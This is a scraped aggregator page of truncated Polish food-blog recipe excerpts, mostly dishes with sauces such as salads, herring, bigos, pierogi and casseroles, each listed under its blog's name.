łyżeczka octu winnego  liście świeżej lub suszonej bazylii kilka kropel miodu WYKONANIE Pomidory kroimy w grube talarki, ser mozzarella również. układamy na półmisku przekładając pomidory serem. Robimy sos z oleju octu i miodu, dodajemy pokrojone lub suszone liście bazylii. Polewamy pomidory i ser. Gotowe SMACZNEGO  Czekam na Państwa opinie i cenne rady. Jeśli zostawicie tutaj swój ślad, łatwiej

W kuchennym oknie Ewy
Pomysły na Sylwestrowe Przekąski! 171

sola i pieprzem. Niby taki prosty przepis, ale tak często o nim zapominamy! :)  3. Sałatka z łososiem - przepis możecie znaleźć tutaj Sałatka z łososiem 4.Tortille z łososiem i sosem koperkowym Składniki : 4 Tortille, 300g wędzonego   łososia, 250g serka - może być mascarpone lub kanapkowy twaróg, 3 łyżki pokrojonego koperku, Łyżka soku z cytryny, Można dodać też awokado, Sol,pieprz

Chocolate Stop Tempting
Pieczeń z szynką szwarcwaldzką 212

kilka sposobów: zaraz po upieczeniu, czyli w wersji ciepłej idealnie sprawdzi się jako danie obiadowe, na zimno zaś będzie smakowitym dodatkiem na chlebie czy jako imprezowa przystawka z dodatkiem sosu i np. oliwkami. * pierś z indyka- 500 g * szynka szwarcwaldzka- 50 g * płatki jęczmienne- 1 szklanka * cebula- 1 szt. * bulion- 1/2 szklanki * przyprawy: sól, pieprz, 1 mały ząbek czosnku

Kraina Miodem Płynąca
Sylwestrowe propozycje 7218

Tapas III     Łosoś z serem    Wrapowe ślimaczki   Sałatka ziemniaczana Kurczaczki goujons Serowe twistery   Kiełbaski twist   Zapiekanki   Sałatka krabowa z sosem koperkowym Polecam i życzę smacznego

Smaki Edyty
Śledzie z rodzynkami 185

miód i pieprz, skrapiamy sokiem z cytryny i smażymy około 5 minut. Odstawiamy do wystygnięcia. Śledzie wyciągamy z zalewy i tniemy w grube paski. Wrzucamy do miseczki, dodajemy przestudzony sos i mieszamy. Odstawiamy na kilka godzin do lodówki. Świetnie smakują ze świeżym chlebem posmarowanym grubo masłem

W poszukiwaniu inspiracji
Sałatka warstwowa ze śledziem i buraczkami 291

sałatkę, wiem tylko, że znam ją od bardzo dawna. Jest pyszna i przede wszystkim bardzo efektownie wygląda. Układamy najprostsze składniki warstwami, a górę smarujemy majonezem lub sosem jogurtowym z dodatkiem majonezu. Najlepszy do tej sałatki jest najzwyklejszy solony śledź. Płaty też są dobre, jednak tylko ten solony ma najwięcej smaku. Przygotujcie tę sałatkę przynajmniej na dobę przed podaniem

Codzienna kuchnia niecodzienna
Bigos 247

Gotować bez przykrycia do miękkości kapusty. Po ugotowaniu produktów, dodać: - obrane i starkowane jabłka, - namoczone we wrzątku przez 20 minut i pokrojone drobno grzyby, - pokrojone pieczone mięso, - sos z pieczenia mięsa, - pokrojoną kiełbasę. Im więcej rodzajów mięsa, tym bigos jest smaczniejszy. Doprawić solą, pieprzem i majerankiem. Koncentrat pomidorowy rozrzedzić zimną wodą, wlać do garnka. Na koniec dodać powidła

Świat Domowej Kuchni
w jabłkach uda kurczaka duszone... 155

skórką do smaku polać maga kucharka, wlać rosół i pod przykryciem dusić z 20 minut wsypać majeranek i z 5 minut jeszcze dusić z jabłek zrobił się fajny sos i uda podać z ziemniakami tłuczonymi i np. buraczkami..........SMACZNEGO!!! popieram akcję: BLOGERZY JEDZĄ JABŁKA

W Mojej Kuchni Lubię
Muszle z mięsną niespodzianką na pesto z bazylii 185

razem inaczej smakują, bo z różnymi składnikami się komponują. Makarony dzieci moje uwielbiają i swoje smaki mają. Ja staram się łączyć je z warzywami, z delikatnym mięsem i lekkimi sosami. Składniki: na 4 porcje 20 szt. makaronu Czaniecki Muszla z pomidorem, szpinakiem i kurkumą, 1/2 polędwiczki wieprzowej, 30 g serka śmietankowego, 3 garści listków świeżej bazylii,  ziarenka kapary

Moniki Smakołyki
Mięso 214

Bakłażany faszerowane mięsem Królik duszony w cytrusach Kiełbaski i cukinie w sosie Marokańskie szaszłyki Penne z klopsikami z kiełbasy Paella z królikiem i kurczakiem Pity z klopsikami, botwinką i fetą Marokańskie kefty Kiełbaski wieprzowo-ziemniaczane Tażin z klopsikami i jajkiem Tortilla z chorizo i fasolą Greckie klopsiki keftedakia Chorizo z papryką i cebulą Jesienny tażin wołowy Cukinie faszerowane kiełbasą Wiejska

Chilli Czosnek i Oliwa
Ryby i owoce morza 223

Zupa rybna Dorada pieczona po hiszpańsku Spaghetti z krewetkami Tunezyjska sałatka z tuńczykiem Pity z grillowaną rybą Empanadas z tuńczykiem Sos z tuńczyka i anchois Dorada pieczona z oliwą i czosnkiem

Chilli Czosnek i Oliwa
Tatar śledziowy 232

posiekany koperek, skrapiamy oliwą i doprawiamy pieprzem. Możemy dodać kilka kropli octu z białego wina. Gotowy tatar podajemy np. z pieczywem. U nas w domu zajadany w towarzystwie delikatnego sosu jogurtowo-czosnkowego

Kolizje Smaków
Karkówka duszona w winie z suszonymi śliwkami 212

śliwki, doprowadzamy do wrzenia. Zmniejszamy ogień, dolewamy tyle wody, żeby pokryła mięso i dusimy pod przykryciem około 40 minut. 3. Mięso przekładamy na talerz, czosnek i laskę cynamonu wyrzucamy. Sos mocno redukujemy, kotlety z powrotem wkładamy do garnka i mieszamy. Podajemy z kopytkami lub ziemniakami. Smacznego

My Culinary Art
Szaszłyki z marynowanej w winie wołowiny, papryki i boczku 219

sposób szaszłyki będą soczyste, a nie wyschnięte na wiór ;) Podawać z ulubionymi dodatkami. Ja podałam z najprostszą surówką z kapusty pekińskiej, chrupiąca bułką i czosnkowym sosem jogurtowo-pomidorowym. Smacznego

Codzienna kuchnia niecodzienna
Jak smacznie pożegnać 2014 rok? Specjalne dla Was 55 najlepszych przepisów na Sylwestra i Karnawał! 1499

kiszonej kapusty z koperkiem Surówka z kiszonej kapusty Surówka z z kiszonej kapusty z czerwoną cebulą Tarta z ciasta francuskiego z cukinią  Truskawkowe semifreddo z jagodami i sosem owocowym podane z malinami Tarta z cukinią, brokułami i sezamem Tarta z ciasta francuskiego z cukinią i czerwoną cebulą Zielone babeczki z pecorino Zielona soczewica w pomidorach pelati Ziemniaczana sałatka

Moja smaczna kuchnia
Słodko Kwaśnie i Fasolowo czyli Fasola w Pomidorach wg Pana Wilkinsona 205

wczorajszy obiad, choć ponoć i na śniadanie być może... fasola w sosie pomidorowym, na słodko ale przede wszystkim na kwaśno... dla mnie niestety, choć może są amatorzy... połowę wyrzuciłam, chętnych nie było, następnym razem dodam po prostu mniej octu, sam w sobie przepis fajny, aromaty ciekawe tylko ten kwas... :) przepis z "Ulubionych warzyw Pana Wilkinsona". 150 ml oliwy

Dzieje kuchennej Wiewióry
Slodko mi!!! Koktail ananasowy czekoladowy i Podroz na sto stop czyli Slodki Czwartek odc.58 215

wydarzeń w jakich przyszło mi uczestniczyć. Miałam tę przyjemność, że wygrałam bilety na Męskie Granie 2014 . W ubiegłą sobotę raczyłam się muzyką w towarzystwie psiapsiółki, jadłam makaron z sosem pomidorowym i ricottą, skakałam i darłam się "Pierdolę przemoc

Dzieje kuchennej Wiewióry
Farfalle (kokardki) z grzybami 189

liście zakupowej i mogłam je przygotować przedwczoraj. Wygląd wcale nie zachęca do konsumpcji ale zapach owszem! danie jest lekkie, delikatne w smaku, ważne by porządnie posolić i popieprzyć sos, inaczej będzie dość mdły. Polecam bardzo, szczególnie, że robi się je dosłownie w 15 minut

Dzieje kuchennej Wiewióry
Warzywa pod brokulowym beszamelem i migdalowa kruszonka 219

dań jakie postanowiłam ugotować w oparciu o nią. Zapiekanka ta wymaga sporo wysiłku ale swoja strukturą i smakiem przewyższa inne warzywne jakie jadłam do tej pory. Wspaniale komponuje się sos beszamelowy z czosnkiem

Dzieje kuchennej Wiewióry
Burgery z Lososia czyli Srodowe Rybki odc.52 236

Burgery z Lososia na 4 małe kotleciki: 300 g łososia bez skóry i ości szczypta płatków chili pół łyżeczki soli 1/2 łyżki mąki ziemniaczanej pół jajka pół łyżki masła sos: pół startego jabłka pół pęczka szczypiorku, posiekanego

Dzieje kuchennej Wiewióry
Gołąbki 219

żaroodpornego naczynia wyłożyć liśćmi kapusty, układać warstwami. Górę przykryć liśćmi lub folią aluminiową. Zalać wszystko około szklanką  wody. Piec w temp 180 stopni około 1 godziny. Podawać z sosem pomidorowym . Smacznego

Sama słodycz i szczypta chili
Ryba w ananasie 257

Ryba z ketchupem? nigdy bym nie wpadła na takie połączanie ryby, ale sos słodko-kwaśny idealnie pasuje. Od paru lat ta ryba gości na naszym świątecznym stole. Potrawa dobra nawet na sylwestrową noc. Składniki : 1 puszka ananasów 4 cebule ½ szkl. Oleju 1 l ketchupu międzychodzkiego 1,5kg pangi bądź innego filetu rybnego Panierka ; 4 jajka 3 szkl bułki tartej ½ szkl

Garnkowe fanaberie
WIGILIA lubelskich blogerów kulinarnych 178

gryczaną, a także wspaniałe kanapki z chałki z pastą z grochu i wędzoną rybą - mniam ! Nie zabrakło też słodkich przyjemności. Tego wieczoru raczyliśmy się wyśmienitymi pierogami z makiem i sosem karmelowym, kremem piernikowym oraz wypiekami: roladą czekoladową, piernikiem, babką z makiem. Wszystko pyszne ! Wieczór zaliczam do tych udanych. Nasza blogerska grupa, jak zwykle dała mi wiele powodów do ciekawych rozmów

kolorowotorcikowo
Bar-restauracyjny Karmnik – recenzja 300

gościom pęczotto (24 zł) oraz – jak czytamy w menu – „poliki wołowe pieczone w niskiej temperaturze podane na puree ziemniaczanym przykryte fasolką zieloną owiniętą szynką dojrzewającą i sosem ze zredukowanego porto” (34 zł). Pęczotto było przygotowane wzorowo – kasza idealnie ugotowana, warzywa „jędrne” i smaczne, grzyby niezwykle aromatyczne. Niestety, znowu czegoś zabrakło. Danie było niezłe

karmelowy
Rolada z łososia w szynce parmeńskiej z żółtym ryżem 253

piekarnika. Piec przez 40 minut. Chwilę odczekać, posmarować pozostałą 1 łyżką oliwy z oliwek i pokroić w plastry. Podawać z dodatkową oliwą z oliwek do smaku, sałatą z miodowym sosem winegret lub warzywami z wody Źródło: kwestiasmaku.com linkwithin_text='Zobacz również inne przepisy:' var linkwithin_site

Świat Domowej Kuchni
Małże w pomidorach z natką pietruszki 188

winem, przykrywamy pokrywką i dusimy ok. 5 minut (potrząsając garnkiem) aż muszle się otworzą, dodajemy posiekaną natkę pietruszki i trzymamy jeszcze pod przykryciem ok. 1 minuty. Mule wraz z sosem wykładamy na talerz, my jedliśmy je z bagietką, ale doskonale będą smakować również z makaronem np. typu spaghetti. Smacznego!   The post Małże w pomidorach z natką pietruszki appeared first

Damsko-męskie spojrzenie na kuchnię
ŚLEDZIE W ŚMIETANIE Z JABŁKIEM I PIETRUSZKĄ! 258

Niezawodny przepis na śledzie w sosie śmietanowym! SKŁADNIKI: - 10 filetów śledzi - 2 jabłka szara reneta - 150 ml śmietany 18% - 150 ml jogurtu greckiego - pietruszka Śledzie moczymy w wodzie aby wypłukać nadmiar soli. Kroimy na kawałeczki. Dodajemy pokrojone w kosteczkę jabłka i pozostałe składniki. Mieszamy ze sobą. Marynujemy w lodówce przez noc. Gotowe

SMYKWKUCHNI
Caprese i już! 360

sera Mozzarella 3 pomidory świeża bazylia  s os balsamiczny pieprz Pomidory kroimy w plastry. Tak samo postępujemy z serem mozzarella. Doprawiamy do smaku listkami świeżej bazylii i polewamy sosem balsamicznym. doprawiamy pieprzem.  Sałatka z mozzarellą i pomidorami

Bon Appetit Małgorzaty
Placki z cukinii i koperkiem 226

Składniki: 1 duża cukinia albo 2 małe 1 jajko 100 ml mleka około 4 łyżki mąki pszennej koperek, szczypiorek sól, pieprz odrobinę maggi - jeśli ktoś lubi sos sojowy olej do smażenia Cukinię wraz ze skórką ścieramy na tarce. Solimy i odstawiamy na kilka minut aby cukinia puściła zbędny sok. W tym czasie przygotowujemy ciasto naleśnikowe. Mieszamy

Bon Appetit Małgorzaty
Pierogi ze szpinakiem 180

kółeczko nakładać porcję farszu. Następnie zalepić. Pierogi gotować w osolonym wrzątku, na małym ogniu do momentu wypłynięcia – nie przykrywać pokrywką. Pierogi można okrasić tłuszczem, śmietaną. Bardzo dobrze smakują z sosem pieczarkowym. Pierogi ze szpinakiem

Bon Appetit Małgorzaty
Quiche ze szpinakiem i chorizo 185

wykładamy na natłuszczonej formie do tarty i nakłuwamy widelcem. Szpinak podsmażamy na oliwie z dodatkiem czosnku soli i pieprzu. Śmietanę mieszamy z 2/3 sera i z jajkiem. Sos ze śmietany mieszamy ze szpinakiem i wylewamy na ciasto francuskie. Układamy na wierzch paseczki z papryki, chorizo i posypujemy pozostałym serem. Pieczemy w 180 - 190 stopniach C około

Bon Appetit Małgorzaty
Kotlety z kalafiora i fety w panierce z płatków żytnich 199

dłoniach kulki na kotleciki i obtaczamy je w płatkach żytnich albo w otrębach. Smażymy na małym ogniu z obu stron na rozgrzanym oleju. Kotlety bardzo smaczne są z sosem z jogurtu z dodatkiem czosnku.  kotlety z kalafiora i fety w płatkach żytnich

Bon Appetit Małgorzaty
Dietetyczne spaghetti z włoszczyzną 242

Dietetyczne bo sos jest bez mięsa, mąki i bez śmietany :)  Składniki: 4 ząbki czosnku 1 duża cebula 2 marchewki 1 mały seler 2 puszki pomidorów suszone oregano sól, pieprz Ponadto: makaron (u mnie tagliatelle)  Marchewkę i seler ścieramy na tarce o dużych oczkach. W tym czasie na oliwie podsmażamy cebulę pokrojoną w kostkę oraz pokrojony czosnek

Bon Appetit Małgorzaty
Zupa z kurek na serkach topionych 202

Były już kurki w sosie serowym no to teraz czas na zupę z kurkami na serkach. Uważam, że grzybki świetnie smakują w takim połączeniu. Mogłabym jeść taką zupę codziennie :)  Składniki: koszyczek kurek 4 serki topione - śmietankowe 1 litr bulionu (u mnie rosół z niedzieli :-p)  natka pietruszki świeży tymianek

Bon Appetit Małgorzaty
"Guacamole" z serem pleśniowym i oliwkami 160

Guacamole – meksykański sos (salsa) przyrządzany na bazie awokado. Nie przedstawiam oryginalny przepis na guacamole. Ponieważ w tradycyjnym przepisie do awokado dajemy tylko limonkę, sól, czosnek oraz świeżą kolendrę. Ja postanowiłam dodać serek pleśniowy oraz oliwki, dla  zaostrzenia smaku. Pasta idealna do grzanek. Należy ją szybko zjeść bo awokado się utlenia i czernieje, nawet pomimo skropienia cytrynką.  Nie jest

Bon Appetit Małgorzaty
Barszcz z kaszanką 238

tradycyjną zupę mojej babci z okolic łódzkiego. Staram się w kuchni nie tylko improwizować ale i wracać do rodzinnych korzeni. Jutro przepis na wigilijne gołąbki z kaszą w sosie grzybowym.Składniki:naturalny zakwas z żytniej mąki i otrębami1,5 l bulionu warzywnego3 liście laurowe4 ziela angielskie3 ząbki czosnku1 mała cebula5 kaszanek z kaszy gryczanejsuszony majeranekKaszankę kroimy w kostkę (bez flaka

Bon Appetit Małgorzaty
Ziemniaczany koszyk w kruchym cieście z warzywnymi kwiatami 184

przyczepiamy do podstawy, możemy pomoc sobie wykałaczkami. Do środka dajemy mieszankę sałat oraz ulubione warzywa i serek. Ja swoje warzywa wycięłam w kształcie kwiatków. Składniki na sos łączymy ze sobą. Całość polewamy winegret em.  składniki na kruche ciasto wyrobione ciasto schładzamy w lodówce spód ziemniaczany zaplatamy koszyk z ciasta  smarujemy wierzch koszyka jajkiem

Bon Appetit Małgorzaty
Zapiekanka serowo-szpinakowa z orzechami pinii 184

skórki i kroimy w kostkę. W misce mieszamy makaron ze szpinakiem oraz pomidorami . Wykładamy do naczynia żaroodpornego, posypujemy wcześniej uprażonymi na suchej patelni orzechami oraz układamy c ząstki serów. Sos: śmietankę mieszamy z jajkami, wylewamy na makaron. Posypujemy odrobiną soli, suszoną bazylią oraz pieprzem. Zapiekamy w 190 stopniach około 30 minut. na makaron ze szpinakiem układamy sery. gotowa zapiekanka szpinakowo

Bon Appetit Małgorzaty
Gołąbki z dzikim ryżem i chili 223

Znudziły się Wam tradycyjne gołąbki? zapraszam do mojego przepisu na gołąbki z dzikim ryżem, wołowiną oraz sosem pomidorowym z chili. Niby znajomy smak a jednak bardziej podkręcony :) Składniki: 1 kg mięsa mielonego wołowego 1 woreczek ryżu białego 2 woreczki ryżu dzikiego 2 litry warzywnego bulionu 1 cebula 1 jajko sól, pieprz kapusta włoska pasta pomidorowa w kartoniku 1 papryczka chili

Bon Appetit Małgorzaty
Domowe frytki po wiedeńsku 370

półmisku układamy frytki, dodajemy zielony groszek, kukurydzę oraz usmażone pieczarki, wszystko posypujemy tartym serem i doprawiamy mieloną papryką. Zapiekamy przez chwile w piekarniku aż ser się rozpuści. Podajemy z sosem czosnkowym albo z keczupem i majonezem. frytki przed upieczeniem

Bon Appetit Małgorzaty
Houskove knedliky - czeskie knedle 183

gotujemy 10 min na jednej stronie i 10 min na drugiej. Po wyciągnięciu nakłuwamy  widelcem. Przed podaniem kroimy w plastry ok 2 cm i polewamy sosem mięsno - grzybowym.      knedle gotujemy we wrzątku czeskie knedle

Bon Appetit Małgorzaty
Rozanielony deser... 187

mikserem a następnie dodać kiwki pokrojone w kostkę. Wystudzić. Mus: 4 kiwi obrać, pokroić i zmiksować blenderem na jednolity mus. Dodać cukier puder by sos nie był zbyt cierpki.  Na dnie pucharków układamy biszkopciki. Następnie zalewamy je masą. Na wierzchu polewamy musem z kiwi. dekorujemy plasterkami kiwi oraz żelkami. deser z kiwi

Bon Appetit Małgorzaty
Siekane kotlety drobiowo-marchwiowe 252

mieszamy z surowym jajkiem, solą pieprzem, oraz marchewką. w dłoniach formujemy kotlety, obtaczamy w bułce tartej i smażymy na rozgrzanym oleju z obu stron. Kotlety podajemy z sosem pomidorowym. siekane kotlety drobiowo-marchwiowe

Bon Appetit Małgorzaty
Jajka faszerowane suszonymi pomidorami, fetą i marchewką 220

masę z ugotowaną marchewką, fetą oraz majonezem i pastą paprykową. Doprawiamy pieprzem. Wypełniamy białka. Pomidorki suszone drobno siekamy i układamy na wierzch każdego jajka. Z majonezu i jogurtu robimy sos do polania jajek. Dekorujemy szczypiorkiem. jajka faszerowane suszonymi pomidorami, fetą i marchwią

Bon Appetit Małgorzaty
Zielone pesto z rzeżuchą, podane na makaronie z dodatkiem chili 185

wiadomo   Pesto alla genovese to   zielony  sos  pochodzący z  Genui    we  Włoszech , którego głównym składnikiem jest  bazylia . pozostałe składniki takie jak parmezan czy orzechy pinii są bardzo drogie i często w kuchni sięgamy po tańsze i wcale nie gorsze w smaku zamienniki jak migdały czy inne twarde

Bon Appetit Małgorzaty
Madame Anna Pavlova z owocami i piankami 198

kremówki, najlepiej 36 % (u mnie 30 % UHT) 200 g serka mascarpone 2 łyżki cukru pudru skórka otarta z połowy cytryny dodatkowo: ulubione owoce u mnie: maliny, borówki amerykańskie pianki sos: truskawki albo inne owoce zmiksować i posłodzić Torcik bezowy: Piekarnik nagrzewamy na 150 stopni C. Białka ubijamy z solą na sztywno. Następnie bardzo powoli, po jednej łyżce dodajemy cukier puder

Bon Appetit Małgorzaty
Sałatka z serem feta i świeżą bazylią 197

Pomidorki przekrawamy na połówki, cebulę kroimy w pół księżyce, listki bazylii siekamy, ser kroimy w kostkę. Oliwę mieszamy z odrobiną soku z cytryny, doprawiamy solą i pieprzem. Sałatkę polewamy sosem. Dekorujemy listkami mięty.  I tyle na temat

Bon Appetit Małgorzaty
Sałatka z cukinią, bobem, lazurem i orzechami 230

osuszamy cukinię papierowym ręcznikiem. Ser kroimy w kostkę. Do jogurtu dodajemy posiekany koperek oraz sól i pieprz. Na półmisku układamy plasterki cukinii, ugotowany bób, ser, oraz orzechy. Całość polewamy sosem z jogurtu. Smacznego! sałatka z darami losu

Bon Appetit Małgorzaty
Chutney figowo-śliwkowy podany z ciepłym camembertem i świeżymi orzechami włoskimi 181

małe kawałki. Kroimy także figi. Imbir ścieramy na tarce. Siekamy cebulę i czosnek.  Wszystko rzucamy do rondla następnie d odajemy porto, ocet balsamiczny  i gotujemy aż sos się zredukuje a owoce rozpadną się na mniejsze cząstki (około 20 minut). Następnie dodajemy cukier, suszony tymianek, chili, oraz doprawiamy odrobiną soli. Całość mieszamy i gotujemy jeszcze przez 3 minuty. Camembert

Bon Appetit Małgorzaty
Caprese ze szpinakiem, chili i orzechami 217

pomidory kroimy w plastry. Papryczkę drobno siekamy i mieszamy ją z oliwą i octem winnym oraz suszonymi ziołami. Na półmisku układamy na przemian: pomidory, ser, liście szpinaku, całość polewamy sosem. Na wierzch układamy orzechy włoskie caprese

Bon Appetit Małgorzaty
Warstwowe purée warzywno - rybne 240

pomarańczową. I delikatnie wyciągamy pierścień. (jeśli nie mamy specjalnego pierścienia, możemy użyć zwykłej salaterki i użyć jej jak formy do babki z piasku :) Potrawa dobrze smakuje z sosem cytrynowym, holenderskim albo beszamelowym

Bon Appetit Małgorzaty
Zielone fusilli z gorgonzolą, winogronami i orzechami 226

Całość dusimy na małym ogniu aż do rozpuszczenia się sera. Doprawiamy pieprzem. Na sam koniec dodajemy ugotowany groszek oraz pomidory pokrojone w paski. Nakładamy na półmisek makaron, następnie polewamy sosem a na wierzch układamy posiekane orzechy włoskie oraz kulki winogrona. Jak dla mnie poezja!  mój październikowy szpinak

Bon Appetit Małgorzaty
Zapiekanka mięsno - cukiniowa "na okrągło" 196

kostkę, następnie dodajemy mięso i smażymy aż uzyska szary kolor. Doprawiamy papryką, suszonym oregano, czosnkiem oraz pieprzem i solą. Na sam koniec dodajemy pomidory z puszki i dusimy aż sos się zredukuje do połowy czyli przez około 20-25 minut. Gdy ziemniaki nam się ugotują, obieramy je i kroimy w kostkę. Pokrojone ziemniaki dodajemy do mięsa i mieszamy. Cukinię kroimy

Bon Appetit Małgorzaty
Aromatyczna ryba po grecku z goździkami 212

wyciągamy goździki, listki laurowe i ziela angielskie. Rybę przyprawiamy solą i pieprzem, obsypujemy mąką i smażymy na rozgrzanym oleju z obu stron. Następnie, kroimy w mniejsze cząstki i zalewamy sosem.  ryba po grecku

Bon Appetit Małgorzaty
Burger po polsku z oscypkiem i żurawiną 176

podsmażony plaster boczku i przykrywamy drugą połówką ciepłej bułki. Bułkę spinamy długą wykałaczką, a na wykałaczkę wbijamy po 2 pomidorki. Zajadamy z dżemem żurawinowym ze słoiczka. Albo z domowym sosem żurawiinowym. Smacznego! EDMIR-POL   to rodzinna firma, od początku działalności zajmująca się sprzedażą naturalnych i bardzo aromatycznych przypraw:  link do sklepu  - polecam

Bon Appetit Małgorzaty
Fasolka po bretońsku z suszonymi pomidorami 222

rozgnieciony ząbek czosnku, oraz pokrojony w kostkę boczek i kiełbasę. Dodajemy przecier pomidorowy,  listki laurowe i ziela angielskie, zalewamy wodą i doprowadzamy do wrzenia. Do wolno gotującego się sosu dodajemy majeranek i gotujemy razem kilka minut. Na samym końcu dodajemy fasolę, oraz pokrojone w paseczki pomidory suszone. Doprawiamy do smaku solą, pieprzem, ewentualnie słodką papryką i mielonym kminkiem. Pamiętajmy

Bon Appetit Małgorzaty
Ryż z cukinią i fenkułem na ostro 208

woku i wsadzamy do piekarnika nagrzanego do max. 160 stopni. Pieczemy do momentu roztopienia się sera. Czyli około 10 minut. Nadziewane cukinie możemy podawać z pomidorowym sosem Wok granitowy non-stick Ballarini GRANITIUM  mile mnie zaskoczył, głównie dlatego, że wbrew mojej wyobraźni na temat granitu, jest lekki. Na takie podejrzenie naprowadził mnie mój stary granitowy  moździerz

Bon Appetit Małgorzaty
Pieczona kaczka faszerowana wątróbką 255

piekarniku nagrzanym na 180 stopni. Gdy w trakcie pieczenia wytopi się już trochę tłuszczu, polewamy kaczkę winem. Następnie co kilkanaście minut polewamy kaczkę sosem powstającym podczas pieczenia

Bon Appetit Małgorzaty
Dressing do surówek i sałatek 189

zypta suszonej bazylii 1 łyżeczka ostrej musztardy pieprz do smaku Sposób przygotowania: Wszystkie skł a dniki dokładnie ze sobą mieszamy. Dressing schładza my w lodówce, następnie polewamy sałatkę przygotowanym sosem, mieszamy i podajemy. Dressing jest naprawdę pyszny! Smacznego ! Źródło: Dzikowiec od kuchni

Kuchnia domowa Ani
Pasta z serka wiejskiego i tuńczyka 229

ść do gus tu. Pierwotnie pasta miała wyglądać tak , ale zm ieniłam ją po swojemu. Składniki: 1 serek wiejski pół papryki czerwonej 2 ogórki kiszone 1 puszka tuńczyka w sosie własnym Sposób przygotowania: 1. Ogó rki i paprykę kroimy w kosteczkę. 2. Tuńczyka odsączamy z zalew y. 3. Serek mieszamy dokł a dnie z pozostałymi składnikami. 4. Podaj

Kuchnia domowa Ani
Sałata ze śmietaną 353

cukier do smaku ocet do smaku Sposób przygotowania: 1. Liście sałaty myjemy i rwiemy na mniejsze kawa łki. 2. W mi sce mieszamy śmietanę z cukrem i octem. Gotowym sosem polewamy sałatę , całość mieszamy i podajemy do drugiego d ania. Smacznego

Kuchnia domowa Ani
Ryba po grecku II 214

warzyw obrać i zetrzeć na tarce jarzynowej o dużych oczkach. 2. Cebulę zeszklić na łyżce oleju, dodać warzywa, koncentrat pomidorowy i pół łyżeczki cukru. Dolać bulion, aby uzyskać konsystencję sosu. Dodać też ziele angielskie i liść laurowy. Przykryć i dusić na wolnym ogniu przez ok 25 minut. Doprawić do smaku. 3. Odmrożone filety rybne obtoczyć w mące, zrumienić na oleju

Kuchnia domowa Ani
Sałata karbowana z fetą, tuńczykiem i oliwkami 254

Fajna propozycja na lekki obiad lub kolację. Przepis znalazłam na stronie rondelek . Składniki: 1 sałata karbowana 1 opakowanie sera typu feta 1 puszka tuńczyka (najlepiej w sosie własnym) oliwki zielone lub czarne 1 mała cebula szczypta cukru szczypta soli odrobina soku z cytryny 2 łyżki oleju lub oliwy (jeśli używamy tuńczyka w oleju może być olej z puszki) Sposób przygotowania

Kuchnia domowa Ani
Szaszłyki z kurczaka w jogurtowej marynacie 339

Kolejna receptura Jakuba Kuronia z tygodniowych inspiracji Biedronki. Tym razem zapraszam na świetne szaszłyki drobiowe!  Do szaszłyków podałam surówkę z kapusty z marchewką oraz obowiązkowo sos tzatziki . Składniki: 2 piersi z kurczaka Marynata: 150-200 ml jogurtu naturalnego 1 cebula 2 ząbki czosnku 2 płaskie łyżeczki curry chilli do smaku sól, pieprz Sposób przygotowania: 1. Piersi z kurczaka myjemy

Kuchnia domowa Ani
Pizza mięsna uczta 324

pozostałe składniki ciasta: mąkę, olej, resztę letniej wody, bazylię i sól, dodajemy wyrośnięty rozczyn i zagniatamy ciasto. 4. Z ciasta formułujemy placek (wałkiem lub ręcznie), smarujemy koncentratem pomidorowym lub sosem do pizzy, posypujemy przyprawą do pizzy, nakładamy kolejno składniki: najpierw cebulę, potem boczek, kiełbasę i kurczaka, na to ogórki kiszone. Pizzę posypujemy tartym żółtym serem i przyprawą do pizzy

Kuchnia domowa Ani
Surówka z sałaty lodowej z papryką 228

Szybka, krucha i chrupiąca surówka.  Składniki: 1 główka lodowej sałaty 1 czerwona papryka siekany szczypiorek kawałek pora sos sałatkowy lub dressing (u mnie taki ) Sposób przygotowania: 1. Sałatę kroimy w paski. 2. Paprykę myjemy, usuwamy gniazda nasienne i dowolnie kroimy. 3. Pora kroimy na półtalarki, solimy i odstawiamy na 15 minut. Po tym czasie odciskamy nadmiar soku. 4. Sałatę

Kuchnia domowa Ani
Naleśniki z bananami 216

naleśnika nakładamy kawałek banana, posypujemy siekaną czekoladą, zwiajmy w rulonik. Tak postępujemy z pozostałymi naleśnikami. 4. Naleśniki smażymy na niewielkiej ilości oleju. 5. Podajemy na ciepło, można polać jakimś sosem (np. czekoladowym lub waniliowym), ale ja podaję same prosto z patelni. Dla nas są wystarczająco słodkie i syte. Smacznego

Kuchnia domowa Ani
Risotto z cebulą 205

smażymy, aż ryż zrobi się szklisty. Następnie partiami wlewamy wodę z solą, tak aby ryż stopniowo wchłaniał płyn. Dusimy do miękkości. 4. Gotowy ryż podawać wedle uznania, np. z sosem, mięsem, potrawką czy warzywami. Smacznego

Kuchnia domowa Ani
Konfitura z mandarynek 209

gotujemy bez przykrycia, aż konfitura trochę zgęstnieje i owoce się rozpadną. 3. Gorącą konfiturę przekładamy do wyparzonych słoików, zakręcamy i słoiki przykrywamy kocem lub ręcznikiem. 4. Konfitura jest fajnym sosem do deserów, ciast, a także dobrze smakuje z serami i mięsem. Mi najbardziej smakuje z naleśnikami - polewam konfiturą naleśniki z serem i .... poezja smaku! Polecam! Smacznego

Kuchnia domowa Ani
Surówka z pora 220

tarce jarzynowej o dużych oczkach. 3. Pora odciskamy z nadmiaru wody. Wszystko mieszamy, dodajemy majonez, jogurt i przyprawiamy do smaku. Smacznego :) Surówkę podałam do ziemniaków i schabu w sosie rozmarynowym

Kuchnia domowa Ani
Kasza gryczana na sypko 206

wchłonie całą wodę. 3. Garnek zdejmujemy z ognia, zawijamy go w koc lub ręcznik na 15-20 minut. Po tym czasie kasza jest gotowa do spożycia. *Świetnie smakuje z sosem pieczarkowym ...   ** lub jako dodatek do obiadu :) Smacznego

Kuchnia domowa Ani
Piersi z kurczaka z serem camembert i żurawiną 222

Przepis znalazłam u Magdy. To świetna alternatywa dla zwykłego kotleta drobiowego. Mięsko w tej wersji bardzo nam posmakowało. Do tego polecam sałatę z jajkiem i sosem jogurtowo-koperkowym . Składniki: 1 podwójna pierś z kurczaka 1 ser camembert suszona żurawina sól, pieprz Sposób przygotowania: 1. Pierś z kurczaka myjemy, porcjujemy, rozbijamy na kotlety. Posypujemy z obu stron solą i i pieprzem

Kuchnia domowa Ani
Zapiekanka z kurczakiem i brokułami 261

mięsem mieszamy, dodajemy oliwki. 5. Mieszamy śmietanę, majonez, zmiażdżone ząbki czosnku, tarty żółty ser, doprawiamy solą, pieprzem i gałką muszkatołową. 6. Naczynie żaroodporne napełniamy mięsem z warzywami, całość zalewamy sosem. 7. Zapiekankę pieczemy 30 minut w 180 st. C. Smacznego

Kuchnia domowa Ani
Klops z papryką i ziołami 252

